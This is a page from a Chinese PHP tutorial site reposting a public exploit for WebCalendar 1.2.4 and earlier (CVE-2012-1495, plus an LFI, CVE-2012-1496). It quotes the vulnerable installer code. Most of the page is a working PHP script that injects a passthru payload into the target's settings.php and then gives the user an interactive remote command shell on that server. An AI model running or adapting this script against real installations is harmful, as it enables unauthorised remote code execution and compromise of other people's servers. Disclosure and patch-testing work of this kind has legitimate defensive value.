网站地图    收藏   

主页 > 后端 > 网站安全 >

WebCalendar <= 1.2.4 (install/index.php) 远程代码执行缺

来源:自学PHP网    时间:2015-04-17 13:02 作者: 阅读:

[导读] ?php/* ----------------------------------------------------------------------- WebCalendar = 1.2.4 (install/index.php) Remote Code Executionn Exploit ----------------------------------......

<?php
 
/*
    -----------------------------------------------------------------------
    WebCalendar <= 1.2.4 (install/index.php) Remote Code Executionn Exploit
    -----------------------------------------------------------------------
    
    作者: Egidio Romano aka EgiX www.2cto.com n0b0d13s[at]gmail[dot]com
    下载地址: https://sourceforge.net/projects/webcalendar/
 
    +-------------------------------------------------------------------------+
    | 该测试证明代码仅供技术交流.     |
    | 使用或许会带来风险,作者不对此负责 |
    +-------------------------------------------------------------------------+
    
    [-] vulnerable code in /install/index.php (CVE-2012-1495)
 
    674.    $y = getPostValue ( 'app_settings' );
    675.    if ( ! empty ( $y ) ) {
    676.      $settings['single_user_login'] = getPostValue ( 'form_single_user_login' );
    677.      $settings['readonly'] = getPostValue ( 'form_readonly' );
    ...
    724.      // Save settings to file now.
    725.    if ( ! empty ( $x ) || ! empty ( $y ) ){
    726.      $fd = @fopen ( $file, 'w+b', false );
    727.      if ( empty ( $fd ) ) {
    728.        if ( @file_exists ( $file ) ) {
    729.          $onloadDetailStr =
    730.            translate ( 'Please change the file permissions of this file', true );
    731.        } else {
    732.          $onloadDetailStr =
    733.            translate ( 'Please change includes dir permission', true );
    734.        }
    735.        $onload = "alert('" . $errorFileWriteStr . $file. "\\n" .
    736.          $onloadDetailStr . ".');";
    737.      } else {
    738.        if ( function_exists ( "date_default_timezone_set" ) )
    739.          date_default_timezone_set ( "America/New_York");
    740.        fwrite ( $fd, "<?php\r\n" );
    741.        fwrite ( $fd, '/* updated via install/index.php on ' . date ( 'r' ) . "\r\n" );
    742.        foreach ( $settings as $k => $v ) {
    743.          if ( $v != '<br />' && $v != '' )
    744.          fwrite ( $fd, $k . ': ' . $v . "\r\n" );
    745.        }
    
    Restricted access  to this script isn't  properly realized,  so an attacker might be able
    to  update  /includes/settings.php  with arbitrary  values  or  inject PHP code  into it.
    
    [-] vulnerable code to LFI in /pref.php (CVE-2012-1496)
        
    70.    if ( ! empty ( $_POST ) && empty ( $error )) {
    71.      $my_theme = '';
    72.      $currenttab = getPostValue ( 'currenttab' );
    73.      save_pref ( $_POST, 'post' );
    74.  
    75.      if ( ! empty ( $my_theme ) ) {
    76.        $theme = 'themes/'. $my_theme . '_pref.php';
    77.        include_once $theme;
    78.        save_pref ( $webcal_theme, 'theme' );
    79.      }
    
    Input passed through $_POST['pref_THEME'] isn't properly sanitized  before being assigned
    to $my_theme variable, this can be exploited to include arbitrary local files at line 77.
    Exploitation  of this  vulnerability requires  authentication and magic_quotes_gpc = off.
    

*/
 
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
 
function http_send($host, $packet)
{
    if (!($sock = fsockopen($host, 80))) die( "\n[-] No response from {$host}:80\n");
    fwrite($sock, $packet);
    return stream_get_contents($sock);
}
 
print "\n+-------------------------------------------------------------+";
print "\n| WebCalendar <= 1.2.4 Remote Code Executionn Exploit by EgiX |";
print "\n+-------------------------------------------------------------+\n";
 
if ($argc < 3)
{
    print "\nUsage......: php $argv[0] <host> <path>\n";
    print "\nExample....: php $argv[0] www.2cto.com /";
    print "\nExample....: php $argv[0] localhost /webcalendar/\n";
    die();
}
 
list($host, $path) = array($argv[1], $argv[2]);
 
$phpcode = "*/print(____);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die;";
$payload = "app_settings=1&form_user_inc=user.php&form_single_user_login={$phpcode}";
 
$packet  = "POST {$path}install/index.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";
    
http_send($host, $packet);
 
$packet  = "GET {$path}includes/settings.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";
 
while(1)
{
    print "\nwebcalendar-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    $response = http_send($host, sprintf($packet, base64_encode($cmd)));
    preg_match('/____(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论